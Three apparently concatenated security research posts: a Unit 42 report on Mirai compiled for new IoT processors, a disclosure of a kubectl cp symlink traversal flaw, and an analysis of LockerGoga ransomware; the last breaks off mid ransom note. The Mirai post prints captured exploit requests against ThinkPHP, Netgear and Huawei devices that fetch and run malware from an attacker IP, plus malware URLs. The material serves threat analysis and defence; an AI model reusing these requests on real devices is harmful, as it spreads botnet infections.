Mirai Compiled for New Processors Surfaces in the Wild

Executive Summary

In late February 2019, Unit 42 discovered Mirai samples compiled for new processors/architectures not previously seen before. Despite the source code being publicly released In October of 2016, the malware has, until now, only been found targeting a fixed set of processors/architectures.

Unit 42 has found the newly discovered samples are compiled for Altera Nios II, OpenRISC, Tensilica Xtensa, and Xilinx MicroBlaze processors. This is not the first time Mirai has been expanded for new processor architectures, samples targeting ARC CPUs were discovered in January 2018. Yet this development shows that Mirai developers continue to actively innovate, targeting a growing array of IoT devices. The malware gained notoriety in 2016 for its use in massive denial of service attacks on Dyn and the website of security blogger Brian Krebs. If the latest innovations lead to an increase in the number of infected devices, that means that Mirai attackers would have access to additional firepower for use in denial of service attacks.

In this blog, we show the new features we’ve found in these new samples, discuss the infrastructure we observed, show how other Mirai samples using known exploits were hosted on the same infrastructure as the new samples, and give indicators of compromise (IoCs) for these new samples.

To protect against Mirai and other threats, organizations should make securing their IoT devices with the latest updates and non-default passwords a priority.

New Features in these New Samples

In addition to the being compiled for these new architectures, we have found that these new samples also contain the following new features:

  • Encryption algorithm: These samples make use of a modified version of the standard byte-wise XOR (as implemented in the toggle_obf function) used in the original Mirai source code.

It uses 11 8-byte keys, all of which are cumulatively byte-wise XOR-ed to get the final resulting key. This is better illustrated in the code snippet below:

This is effectively the equivalent of a byte-wise XOR with 0x5A.

  • attack_method_ovh: The samples include a DDoS attack option with the following parameters:

These are the exact same parameters as the attack method “TCP SYN” (attack_method_tcpsyn) in the original Mirai source, so the reason behind incorporating a new attack method with the same parameters remains unclear.

Pivoting on this attack method in AutoFocus, we found samples circulating in the wild since November 2018 for other previously known architectures also employing it.

Infrastructure

We found these latest samples on a single IP that at one point of time was hosting them via an open directory; however, on February 22, 2019, the server was later updated to hide the file listing but continued to host the files themselves.

                                                 Figure 1. Open directory hosting samples of the Mirai variant

Prior to the update on February 22, the same IP was hosting Mirai samples containing the following exploits known to be used in previous versions of Mirai. The presence of these exploits in both previous versions of Mirai and our newly discovered samples help show the tie between the two are likely used by the same attacker in this case. These exploits are shown in Table 1, below.

Vulnerability Exploit Format
ThinkPHP Remote Code Execution GET /to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= 'wget http://178.62.227[.]13/wrgjwrgjwrg246356356356/hx86 -O /tmp/Hito; chmod 777 /tmp/Hito; /tmp/Hito wget.exploit.selfrep.thinkphp' HTTP/1.1

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: Hito/2.0

D-Link DSL2750B OS Command Injection
Netgear Remote Code Execution GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;/bin/busybox+wget+-g+178.62.227[.]13+-l+/tmp/binary+-r+/wrgjwrgjwrg246356356356/hmips;+/bin/busybox+chmod 777+*+/tmp/binary;/tmp/binary+wget.selfrep.exploit.netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
CVE-2014-8361  

 

CVE-2017-17215 POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Content-Length: 430

Connection: keep-alive

Accept: */*

Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 178.62.227.13 -l /tmp/binary -r /wrgjwrgjwrg246356356356/hmips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Table 1. Exploits in Mirai variant hosted at 178.62.227[.]13 prior to February 22

Conclusion

Given that the Mirai source code is open source, something as elementary as compiling the same source code for a larger range of processors provides attackers with the advantage of a larger attack surface. Practically, this means that the family can now infect and propagate via a larger number of embedded devices, affording attackers greater DDoS firepower.

Palo Alto Networks customers are protected by:

  • WildFire detects all related samples with malicious verdicts.
  • All exploits and IPs/URLs involved in these campaigns are blocked through Threat Prevention and PANDB.

AutoFocus customers can track the exploits mentioned using the following tags:

The malware family can be tracked in AutoFocus using the tag ELFMirai

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

URLs

178[.]62.227.13/wrgjwrgjwrg246356356356/hmicroblazebe

178[.]62.227.13/wrgjwrgjwrg246356356356/hmicroblazeel

178[.]62.227.13/wrgjwrgjwrg246356356356/hnios2

178[.]62.227.13/wrgjwrgjwrg246356356356/hopenrisc

178[.]62.227.13/wrgjwrgjwrg246356356356/hxtensa

Xilinx MicroBlaze Samples

006b73c03760f168a5d71c0edd50e9a437aca7b3db1dbecac75ea2ef9e74f54f

233790b3a74245c4660cadec23145246484154abd01edd45836c31598f96b13d

26298ff73035ef2dc92cda118d476933d3014b39ac478865bd86d28aa5457459

2d7ed9ccd1b94f58aff30f7a7d798dd03b6a0f5bed2a529e1e13d8d78e9ae289

3891a82075bd173bb1e052c27f1be946559aaeb65e6a4c761ba8bbd2cbccd3fb

43c5efda1875fd809f97b49d296f34e1292ed86e5a4197460764fe67b98294ef

44f1d6144df90adea1b7b482c84946257c9fb70a9c195a6846f416de80b5e6fd

4cb4c5cbf7eb646bdc08640f4f9e9a4383a9c7ac4e26be0caeb9dc904670c5bf

4d8a4841a2f4a61ed6df2be79dd7ea1eb2052cee6eba4d8de30add7908ebb779

537c2d136a805fe1b703709b0794e25f91f2136027287fa4817080330c7989ce

683b6f8209725ae0e715cda5a1cd35bcaacb5d45ae8e487c98dce2c01c91c887

9b1eab0283fd6948a9a181abaa2f6b3c26f2b0077c8a8b32e763790dd64d2a22

a736d6ebf9596872f3c92ac486be2588ccf0c53cf15a3897a97c83ca1525ff8d

a9dbcc2681d427f9820ca9c5ec120b9bf3e83c9856e89736884ee4dc26712e50

bdd19fa8a7c0e3a5ebbb14d5885cb09a863122ad2c78f53361db0c194045d491

c0f18a5113b341faacb9f647cee954a237925cc62d5daff559a8a880702273c1

c75b3c52c0f5eebfd4c44c3069a393e824d455c7405d57ee99fd7613b8211b31

d28d05477ddbb1e3de330e98a2cb199ed76df0d1c942c467c977c9b70771477a

de6a0d2b8b4323bc06a6cd02b0042fc92c36319696dafafd057e905d359f60ea

e740f780f2b91a41c5024115bbed607b0a75e52fcf4f96b86d0f8adda0c97ddf

OpenRISC Samples

09f8885872bc47e03608d6725f8735074c8b915ca08540e367921223058c108a

199f1976cb5fb39a9c395a28e2178476b6eaec0f3499a5a11912f103dcd64d00

1efdfc79d0c4b779966dfcae7d4f0a1f17f043e098ec0f90ff12a7ebc3c3f1f1

24b4c838dd41c0d812f747e48cf24be4f2265bce8f1e4d0d8ca6a7fc5649019b

59b7a7baf4c239786fdf5ceca9084d829c6f6fc0603a524df313b2ef4958e4c2

6183c7c87ff7cc3721c000af73714be27884a22057c4dc69bccd34571353f327

74a45ff17678e0bddf383b5229785dda04c515e778bc9421d9396168f1cf3c3d

76c9e543a0386994031b4905533eccd05400b3bb12fefc94f1eb65af5debe986

b6359a84bd36a3ce8a13f1306ad74d757c384a772691c228c9a00a5246d828fa

b758405fd18c4518878868163472bcb4e988e4ecbc3312b9756d231b80646816

b89196b9773c6c809a2547434ce3e9de8a494ed7b338e013fd3f2818b4b54fd1

c33080bea85616fd1251f877cd9ff570dd6a2e2f24cc20254754cb2c74a2375e

d21880f4f919c410d0f2ee447716a2f7288dbaa21ec7de8601f0fc999b4d3d45

f646c45feb0ccab4caf61bdb4aa45b0295614b2e881ad9c594ccaec2ea886671

Tensilica Xtensa Samples

006436f282f46f49eb97c2e119622ac61086a908623ca741eb29caeca22c797a

28bb80c687cb0aeea0b2d53dd5bf34f21f7292e5708b0aefeea25aebe2ff93af

5647168f9818dc40599d057c426424709bde5722c62088ecff64b97d3acfc4a7

57cc6875ae0c571ef1edaae72d82b0da6e60331ad4b3ad34c922b9e4612b8779

61893583675935ac7a4857542f13d513ffbb176b302a72d26d7ec39fd931decb

ac4a00bfe1031e19eb9a101d61ef5267627ebaeb2aca4b962c7bb1b5a59e337c

b0cef399ea8ec2244aebb3506a2bb60c64c3921e816c0fc9752caf84c6cf196d

b5da0b6070d9cf3a3d628864e0f0860c8fc967ce692c0142f5a6dafee64079f6

Altera Nios II Samples

0c35f2902d92ef4f46e4643d11c46bde57027bb14e2b75c027a50fe7efc4f358

3446c2ed11a6a5e02702afd5f7082eb435b2922096443cabd45d54b5b7582cc1

48c760ba6b6a29e2a90bdb88bf96486c158f2b47ee9e1c560a47071e39bb5e87

5876c9ac609ece0e051c57b380489490bc78e40c796b637af1e80adbdb9f70dc

a457090fb6df8cb93c91ec6b5d89927f7a6f9e247389d945d44731351a367b4e

ed5e313821bf3a20d226c1b5f2b0ba7f1897d0778c27620017b852579e3e1894

fae498477388c53c8c623fd8ddb710cc286584200767907b104d55f916d37c05

Disclosing a directory traversal vulnerability in Kubernetes copy – CVE-2019-1002101

Executive Overview

On March 4, I reported a security vulnerability in kubectl to the Kubernetes and OpenShift security teams, which was assigned CVE-2019-1002101. This post explains the discovery process, the vulnerability details and its impact and exploitation methods. Thanks to Brandon Phillips Red Hat for coordinating the disclosure process. The announcement made today by the Kubernetes team can be found here.

Vulnerability discovery

I was exploring Kubernetes commands when a particular notice drew my immediate attention.

This note refers to the kubectl cp command, which allows copying files between containers and the user machine. To copy files from and to containers, Kubernetes calls the tar binary inside the container, to either create or unpack a tar archive with the requested files. This has always been the way the cp command worked, but I was surprised that the same design was still in use after a vulnerability in the cp code was found about a year ago.

Some of the readers might recall the directory traversal vulnerability that was found in the cp command last March. It was assigned CVE-2018-1002100, though it was mostly overshadowed by a similar vulnerability in OpenShift that was announced in the same post.

This vulnerability was ultimately a “classic” directory traversal – paths include directory climbing using ../ (dot dot slash) were not sanitized, allowing malicious containers to write any file to any path on the user machine when copied from.

Before we dig in to the vulnerability I found, let’s examine the kubectl cp architecture in more detail.

To copy files from a container, kubectl creates a tar with the source files inside the container and unpacks it on the user machine. To copy files from the user machine to a container, kubectl creates a tar with the files and unpacks it inside the container.

For creating and unpacking a tar archive on the user machine, kubectl relies on its tar parsing code in cmd/cp/cp.go. However, for containers kubectl executes the tar binary inside the container for these actions. For that reason, a tar binary is required to be in the container for the cp command to work, as specified in the documentation notice.

If the tar binary on the container is malicious, it could run any code and output unexpected, malicious results. This is a prerequisite for both the previous vulnerability and the new one to be exploited.

The function copyFromPod in cp.go implements the process of copying files from the container. It calls tar in the container through remote exec (&exec.DefaultRemoteExecutor) and then untars the result on the user machine in the function untarAll. This function uses the “archive/tar” Go package for tar parsing and finally writes the files to the destination directory based on the result tar headers.

Since the fix to CVE-2018-1002100, the untarring function calls the cp.go:clean function to strip path traversals.

However, after reading its code I realised that the function can both create and follow symbolic links from the tar headers. An attacker could craft a malicious tar that has a header with a symbolic link to virtually any path, and a subsequent header to a file inside a directory with the same name as the symlink. When extracted by the cp untar function, the link would result in creating or modifying the desired file in the path from the symbolic link.

Impact

This vulnerability can be dangerous in one of two scenarios:

  1. A user unknowingly downloads a malicious container image with a bad tar. The attacker can push such an image to any registry (e.g. Docker Hub) for a popular image he has control of or rely on typosquatting.
  2. An attacker compromises a running container by exploiting another vulnerability or in some cases he may have legitimate access to a container. The attacker then plants a malicious tar replacing the original tar of the image.

A sophisticated attacker will also conceal the exploit by making the malicious tar include the originally requested files in its output, or make the symlink file a dotfile, so that the attack is not immediately apparent.

So far I have only mentioned directory traversal, which is dangerous by itself. Kubectl users are generally developers, devops staff, or administrators, whose environment contains sensitive configuration and deployment files. Targeted exploitation of this vulnerability can thus lead to leakage and exfiltration of potentially highly sensitive information. Nevertheless, you may be wondering how straightforward it is for an attacker to get full code execution on the user machine through this vulnerability.

First, if kubectl is run as root, achieving remote code execution becomes trivial through the modification of one of many configuration or system files. Files like /etc/profile or cron files are good targets, but virtually any startup file are easy targets to get immediate and persistent code execution.

Yet kubectl is more commonly run as a user. This makes it harder for an attacker to deterministically get code execution. It eventually sums up to the creativity of the attacker or how much information about the user filesystem may be known, but for the sake of this post I present a simple idea that may work in many cases.

In the proof of concept found below, I get code execution by writing to the .bashrc file in the directory kubectl is run from. The path /proc/self/cwd links to that directory. If kubectl is ran from the user’s home directory, the bash loading script is replaced with my payload which is run the next time a bash shell is spawned by the user.

Proof of Concept

The following infographic goes through the steps of this exploit.

Suggestion for redesign

This vulnerability can be closed by fixing the untarAll function and writing regular files instead of symbolic links. Within the original advisory, I’ve also reported another non-security out-of-bounds access bug in the same function. The maintainers can probably close both issues with a simple PR, the CVE will be marked as fixed and everybody updates and move on.

The way I see it though, kubectl cp, or for that matter any Kubernetes command, should not be calling tar or execute any binary inside the container. Any output from inside a container should not be considered safe or reliable, since it can be controlled by an attacker if compromised. Even without a vulnerability, the binary could output to the user terminal any misleading text (in the tar case, through stderr) that could confuse even an experienced user. Or potentially attempt to exploit terminal vulnerabilities to do much more. (1)

An issue has already been opened for getting rid of the tar requirement in kubectl cp, although on the basis of usability and not security.

Twistlock (Prisma Cloud) protection

Twistlock can alert or prevent a change of a tar binary inside a running container, alerting on a breach and preventing the exploitation of this vulnerability. Twistlock also has a CIS benchmark that can be enforced for all images to run with a readonly rootfs, which prevents hijacking tar or any binary inside a running container altogether.

Twistlock also allows you to define Trusted Images, a feature introduced 2 years ago in Twistlock 1.7, that enables marking a specific set of registries, repositories, images or base layers that are allowed within your organization.

Finally, with the new Kubernetes Auditing feature you could gain visibility over use of the cp command and easily pin down the events where a user may have been affected by a compromised container.

To monitor all cp events, use the following rule:

Thanks to Misha and Omri for providing it.

Summary

This vulnerability only affects the user client for Kubernetes, kubectl (and the OpenShift equivalent, oc). All kubectl versions from v1.9.0-alpha.2 to 1.14.0 are vulnerable (1.11.9, 1.12.7, 1.13.5 also have the fix).

If you like our advisories, follow us on Twitter and be the first to read our posts.


 

  1. For more about escape sequence terminal vulnerabilities, see the slides of my AtlSecCon talk

Born This Way? Origins of LockerGoga

This Unit 42 blog provides insights into the ransomware attacks referred to as LockerGoga.

The LockerGoga ransomware was first publicly reported in January by Bleeping Computer, which tied the malware to an attack against French engineering company Altran Technologies. Several variants have since been found in the wild, where they were used in attacks against Norwegian aluminum manufacturer Norsk Hydro and two chemical companies: Hexion and Momentive. Unit 42 reviewed malware samples from these attacks and found evidence that caused us to question the origin of the threat name.  “LockerGoga” was taken from a string that did not exist anywhere in the code used in the original attack on Altran.  Bleeping Computer reported that the name came from this source code path discovered by MalwareHunterTeam:

X:\work\Projects\LockerGoga\cl-src-last\cryptopp\src\rijndael_simd.cpp for SHA256 bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f

We were able to find this string referenced in earlier ransomware variants identified as Ransom.GoGalocker by Symantec, but not in the sample identified in Bleeping Computer’s report. To avoid confusion, we will continue to use the LockerGoga name to refence the initial variant and its predecessors. Palo Alto Networks has identified 31 ransomware samples that are similar in behavior and code to the initial variant. In this report we will attempt to trace back to the origin of these samples, discuss their evolution, then expose some of their inner working capabilities and even faults.

First LockerGoga Sample

The earliest known sample of LockerGoga (SHA256: bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f) we found was submitted to VirusTotal on January 24. We believe this sample was used in the attack on Altran.  We do not know how the ransomware infected Altran’s networks or propagated once there.

Propagation

Currently LockerGoga does not support any worm-like capabilities that would allow it to self-propagate by infecting additional hosts on a target network.  We have observed LockerGoga moving around a network via the server message block (SMB) protocol, which indicates the actors simply manually copy files from computer to computer.

LockerGoga Characteristics

This sample requires administrative privileges in order to successfully execute, though the specific mechanism for initial code execution is unknown.  Once it executes it seeks to encrypt files on the infected computer and any attached hard drives.  Once it’s fully executed, it leaves a ransom note on the user’s desktop containing an email address to contact presumably for decryption and payment options.

The initial sample was written in the C++ programming language and employs publicly available libraries such as Boost, Cryptopp and regex.  This sample includes a denylist that excludes the following files and directories from encryption:

  • readme-now.txt
  • files starting with ntsuser or usrclass
  • File extensions: .dll, .lnk, .sys, .locked
  • Microsoft\Windows\burn
  • dat
  • log

The malware does not support any self-propagating code to infect other hosts on the network and is signed by a certificate issued in the name MIKL LIMITED, which has been revoked.  The following command line arguments are also supported:

Command Line Description
-w Work:  This is the default command line parameter and encrypts all files on the host.  It also wipes all free space by creating the following file c:\wipe and filling it with random data the size of the free space available on the drive.  The file is then deleted.  This parameter can also be used to encrypt a single file i.e. -w filename.exe
-r Dry Run:  Does not encrypt any files on the host.
-l Log:  Creates a log file off the root drive named cl.log.
-f File:  Used to encrypt a single file.

Table 1. Supported command line arguments

Encryption

LockerGoga uses the Cryptopp library to implement RSA, as implementing RSA from scratch would be very time consuming and error prone.  To encrypt files, (Strong RSA) RSA-OAEP MGF1(SHA-1) is used.  The RSA public key found in this sample is:

00000000   4D 49 47 64 4D 41 30 47  43 53 71 47 53 49 62 33   MIGdMA0GCSqGSIb3

00000016   44 51 45 42 41 51 55 41  41 34 47 4C 41 44 43 42   DQEBAQUAA4GLADCB

00000032   68 77 4B 42 67 51 43 46  66 33 43 54 59 79 41 79   hwKBgQCFf3CTYyAy

00000048   6F 79 5A 71 52 33 6E 48  63 4C 4A 2B 49 2F 71 69   oyZqR3nHcLJ+I/qi

00000064   2F 50 57 77 57 54 75 6C  20 6C 4D 69 4E 32 54 47   /PWwWTul lMiN2TG

00000080   4D 41 4D 62 34 39 75 58  51 32 79 43 34 4D 5A 76   MAMb49uXQ2yC4MZv

00000096   5A 76 4B 53 50 55 44 6F  33 61 4D 67 5A 4A 71 30   ZvKSPUDo3aMgZJq0

00000112   78 75 52 53 42 34 58 6F  73 6D 73 30 5A 39 51 4B   xuRSB4Xosms0Z9QK

00000128   70 76 47 6C 6A 4E 48 36  79 34 50 59 4E 39 38 2F   pvGljNH6y4PYN98/

00000144   76 20 79 31 7A 4F 6B 34  70 45 69 53 68 43 32 49   v y1zOk4pEiShC2I

00000160   47 46 50 4A 32 47 71 33  4F 63 2B 41 78 4F 37 57   GFPJ2Gq3Oc+AxO7W

00000176   6F 2F 62 42 76 35 34 32  52 51 30 67 50 55 77 7A   o/bBv542RQ0gPUwz

00000192   79 54 53 66 71 6A 44 47  35 33 35 73 38 57 73 76   yTSfqjDG535s8Wsv

00000208   4B 73 79 77 49 42 45 51  3D 3D                     KsywIBEQ==

Table 2. RSA Public key found in initial LockerGoga sample

Although RSA-OAEP MGF1 has features that make it more secure, the added computational overhead causes encryption to take longer and has difficulty handling large files.  To mitigate this, the developers launch multiple child processes that work in parallel to maximize encryption speed.  To overcome large files, the developers decided to encrypt chunks of a file every 80,000 bytes and skip the next 80,000 bytes of a file.  Example:

Figure 1. Data encrypted in 80,000 byte chunks

Because of this, partial recovery of large files might be possible even without the decryption key.

Although the developers attempt to use a denylist of files and directories to skip, it was observed encrypting core Windows operating system files, which caused the operating system to become unstable and crash. This was observed when running the ransomware on a Windows 2012 machine.

Early Development

Based on our analysis, we believe this variant is an early release of LockerGoga ransomware. The developers left behind command line parameters such as -r which allows the malware to run without encrypting anything.  This can be used in conjunction with -l (log) to test how the ransomware behaves.  Both of these parameters are suggestive of an initial, or test, build.  The -r specifically was not observed in later variants.

According to the Bleeping Computer report, the ransomware appeared to encrypt only the following specific file extensions: doc|dot|wbk|docx|dotx|docb|xlm|xlsx|xltx|xlsb|xlw|ppt|pot|pps|pptx|potx|ppsx|sldx|pdf.

Our analysis found that the malware does not use the code block that checks for specific file extensions.  Instead, we observed that the malware encrypts all files except those in the denylist. It also has issues with large files, which is addressed in later variants.

Development Cycle

Like other active software projects, the LockerGoga ransomware is under constant development with new variants being developed and used to attack victims.  All these variants share similar characteristics and just like other professional development, each release contains improvements or new capabilities.

To counter this ongoing development cycle, security researchers have to focus on identifying new variants.

To that end, we highlight some of the evolutionary changes we have observed since the malware surfaced in January:

  • Dropped the -r and -f command line arguments
  • Log file renamed from cl.log to .log
  • Ransomware note is no longer encoded in the binary
  • Ransomware note renamed from README_NOW.txt to README_LOCKED.TXT
  • Added the following command line parameters:
Parameter Description
-i Inter process communication (IPC)
-s Slave (child process)
-m Master Process
  • Began using mutexes (example: SM-zzbdrimp) to identify processes for inter-process communication.
  • Stopped using svch0st[numeric value].exe as a process name and began using distinct hard-coded names for each sample.
  • Uses undocumented Windows API calls (for example NtQuerySection)
  • Changes administrator password to HuHuHUHoHo283283@dJD
  • Stopped creating a wipe file to erase free space and instead uses Windows cipher.exe with command parameter /w to wipe free space on the host
  • Added importation of WS2_32.dll, possibly to support network communications
  • Changed the format and collection of data recorded in the log file
  • Updated encryption of files and directories. No longer encrypts all files on the host: instead targets specific file extensions and directories
  • Calls into Windows Restart Manager session for possible token elevation to overwrite trusted installer files
  • Uses the following digital signers:
    • ALISA LTD
    • KITTY'S LTD
    • MIKL LIMITED
  • Logs off the current user
  • The inclusion of the word “Goga” in the binary and encrypted files

Conclusion

LockerGoga’s developers continue to add capabilities and launch new attacks.  The addition of WS2_32.dll and use of undocumented Windows API calls indicates a level of sophistication beyond typical ransomware authors. The former could lead to the eventual inclusion of C2 communication or automated propagation, and the latter requires some working knowledge of Windows internals.

These features raise more questions about the actor’s intent as ransomware is typically one of the least advanced forms of malware:  Are they motivated by profits or something else? Has the motive change over time?  Why would developers put such effort into their work only to partially encrypt files. Why do they include an email address and not seek payment through more frequently used cryptocurrencies?

We do not know if any of the victims have paid the ransom and were able to successfully retrieve their data. We do know that this ransomware has caused significant harm. The damage could increase significantly if  the attackers continue to refine this ransomware. Unit 42 will continue to monitor LockerGoga and report on new activity.

WildFire properly identifies all of the malware samples listed in this report as malicious. Traps prevents execution of LockerGoga samples and AutoFocus customers can view LockerGoga samples using the LockerGoga tag.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

LockerGoga Samples

ae7e9839b7fb750128147a9227d3733dde2faacd13c478e8f4d8d6c6c2fc1a55

f474a8c0f66dee3d504fff1e49342ee70dd6f402c3fa0687b15ea9d0dd15613a

ffab69deafa647e2b54d8daf8c740b559a7982c3c7c1506ac6efc8de30c37fd5

c1670e190409619b5a541706976e5a649bef75c75b4b82caf00e9d85afc91881

65d5dd067e5550867b532f4e52af47b320bd31bc906d7bf5db889d0ff3f73041

31fdce53ee34dbc8e7a9f57b30a0fbb416ab1b3e0c145edd28b65bd6794047c1

32d959169ab8ad7e9d4bd046cdb585036c71380d9c45e7bb9513935cd1e225b5

e00a36f4295bb3ba17d36d75ee27f7d2c20646b6e0352e6d765b7ac738ebe5ee

6d8f1a20dc0b67eb1c3393c6c7fc859f99a12abbca9c45dcbc0efd4dc712fb7c

79c11575f0495a3daaf93392bc8134c652360c5561e6f32d002209bc41471a07

050b4028b76cd907aabce3d07ebd9f38e56c48c991378d1c65442f9f5628aa9e

1f9b5fa30fd8835815270f7951f624698529332931725c1e17c41fd3dd040afe

276104ba67006897630a7bdaa22343944983d9397a538504935f2ec7ac10b534

88d149f3e47dc337695d76da52b25660e3a454768af0d7e59c913995af496a0f

c97d9bbc80b573bdeeda3812f4d00e5183493dd0d5805e2508728f65977dda15

06e3924a863f12f57e903ae565052271740c4096bd4b47c38a9604951383bcd1

a845c34b0f675827444d6c502c0c461ed4445a00d83b31d5769646b88d7bbedf

7bcd69b3085126f7e97406889f78ab74e87230c11812b79406d723a80c08dd26

ba15c27f26265f4b063b65654e9d7c248d0d651919fafb68cb4765d1e057f93f

eda26a1cd80aac1c42cdbba9af813d9c4bc81f6052080bc33435d1e076e75aa0

7852b47e7a9e3f792755395584c64dd81b68ab3cbcdf82f60e50dc5fa7385125

14e8a8095426245633cd6c3440afc5b29d0c8cd4acefd10e16f82eb3295077ca

47f5a231f7cd0e36508ca6ff8c21c08a7248f0f2bd79c1e772b73443597b09b4

f3c58f6de17d2ef3e894c09bc68c0afcce23254916c182e44056db3cad710192

9128e1c56463b3ce7d4578ef14ccdfdba15ccc2d73545cb541ea3e80344b173c

c3d334cb7f6007c9ebee1a68c4f3f72eac9b3c102461d39f2a0a4b32a053843a

6e69548b1ae61d951452b65db15716a5ee2f9373be05011e897c61118c239a77

8cfbd38855d2d6033847142fdfa74710b796daf465ab94216fbbbe85971aee29

bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f

5b0b972713cd8611b04e4673676cdff70345ac7301b2c23173cdfeaff564225c

c7a69dcfb6a3fe433a52a71d85a7e90df25b1db1bc843a541eb08ea2fd1052a4

Appendix

The latest variant of LockerGoga uses memory mapped files to communicate between processes.  To illustrate this, we captured the memory of a section created by a child process.

00000000   02 00 00 00 00 00 00 00  00 00 00 00 01 00 00 00                  

00000016   D0 02 01 00 CC 02 01 00  C8 02 01 00 30 00 00 00   Р  Ì   È   0  

00000032   80 02 01 00 F8 FF 0F 00  00 00 00 00 00 00 00 00   €   øÿ         

00000048   FF FF FF FF 00 00 00 00  01 00 00 00 24 00 00 00   ÿÿÿÿ        $  

00000064   20 00 00 00 1C 00 00 00  00 00 00 00 01 00 00 00                  

00000080   FC FF FF FF F8 FF FF FF  F4 FF 01 00 0B 20 00 C0   üÿÿÿøÿÿÿôÿ     À

00000096   DE FF FF FF 01 00 00 00  01 00 00 00 38 00 01 00   Þÿÿÿ        8  

00000112   01 00 04 21 10 01 00 00  00 00 00 00 00 7A 70 63      !         zpc

00000128   55 48 4A 76 5A 33 4A 68  62 53 42 47 61 57 78 6C   UHJvZ3JhbSBGaWxl

00000144   63 31 78 57 54 58 64 68  63 6D 56 63 56 6B 31 33   c1xWTXdhcmVcVk13

00000160   59 58 4A 6C 49 46 52 76  62 32 78 7A 58 47 64 73   YXJlIFRvb2xzXGds

00000176   61 57 49 74 4D 69 34 77  4C 6D 52 73 62 41 3D 3D   aWItMi4wLmRsbA==

00000192   64 48 42 6A 63 48 4D 75  5A 47 78 73 63 6D 56 7A   dHBjcHMuZGxscmVz

00000208   65 43 35 6B 62 47 77 75  62 58 56 70 4E 46 39 66   eC5kbGwubXVpNF9f

00000224   4F 48 64 6C 61 33 6C 69  4D 32 51 34 59 6D 4A 33   OHdla3liM2Q4YmJ3

00000240   5A 54 68 68 5A 44 46 68  4E 7A 51 77 4C 54 52 68   ZThhZDFhNzQwLTRh

00000256   4E 32 59 74 4E 47 45 78  59 53 30 35 4F 54 45 78   N2YtNGExYS05OTEx

00000272   4C 54 51 79 4D 57 51 30  4D 6A 49 34 4D 7A 52 6C   LTQyMWQ0MjI4MzRl

00000288   5A 46 78 42 63 33 4E 6C  64 48 4E 63 55 6D 56 7A   ZFxBc3NldHNcUmVz

00000304   62 33 56 79 59 32 56 7A  58 46 4A 6C 63 58 56 70   b3VyY2VzXFJlcXVp

00000320   63 6D 56 6B 55 48 4A 70  62 6E 52 44 59 58 42 68   cmVkUHJpbnRDYXBh

00000336   59 6D 6C 73 61 58 52 70  5A 58 4D 75 65 47 31 73   YmlsaXRpZXMueG1s

00000352   65 6D 55 74 4E 44 68 66  59 57 78 30 5A 6D 39 79   emUtNDhfYWx0Zm9y

00000368   62 53 31 31 62 6E 42 73  59 58 52 6C 5A 43 35 77   bS11bnBsYXRlZC5w

00000384   62 6D 63 3D 62 53 31 31  62 6E 42 73 59 58 52 6C   bmc=bS11bnBsYXRl

00000400   5A 43 35 77 62 6D 63 3D  00 00 00 00 00 00 00 00   ZC5wbmc=       

Table 3. Child process mapped file

The 1st byte (02) instructs the master process to process the data below. The data is base64 encoded in three parts and decodes to the following:

Part 1:

Unknown value

Part 2:

tpcps.dllresx.dll.mui4__8wekyb3d8bbwe8ad1a740-4a7f-4a1a-9911-421d422834ed\Assets\Resources\RequiredPrintCapabilities.xmlze-48_altform-unplated.png

Part 3:

m-unplated.png

Example of initial variant of LockerGoga running on a host:

Figure  2. Initial LockerGoga running

Initial LockerGoga Ransom Note:

Greetings!

 

There was a significant flaw in the security system of your company.

You should be thankful that the flaw was exploited by serious people and not some rookies.

They would have damaged all of your data by mistake or for fun.

 

Your files are encrypted with the strongest military algorithms RSA4096 and AES-256.

Without our special decoder it is impossible to restore the data.

Attempts to restore your data with third party software as Photorec, RannohDecryptor etc.

will lead to irreversible destruction of your data.

 

To confirm our honest intentions.

Send us 2-3 different random files and you will get them decrypted.

It can be from different computers on your network to be sure that our decoder decrypts everything.

Sample files we unlock for free (files should not be related to any kind of backups).

 

We exclusively have decryption software for your situation

 

DO NOT RESET OR SHUTDOWN - files may be damaged.

DO NOT RENAME the encrypted files.

DO NOT MOVE the encrypted files.

This may lead to the impossibility of recovery of the certain files.

 

To get information on the price of the decoder contact us at:

CottleAkela@protonmail.com;QyavauZehyco1994@o2.pl

The payment has to be made in Bitcoins.

The final price depends on how fast you contact us.

As soon as we receive the payment you will get the decryption tool and

instructions on how to improve your systems security

Figure 3. Initial LockerGoga ransom note

 

Latest LockerGoga Ransom Note:

Greetings!

 

There was a significant flaw in the security system of your company.

You should be thankful that the flaw was exploited by serious people and not some rookies.

They would have damaged all of your data by mistake or for fun.

 

Your files are encrypted with the strongest military algorithms RSA4096 and AES-256.

Without our special decoder it is impossible to restore the data.

Attempts to restore your data with third party software as Photorec, RannohDecryptor etc.

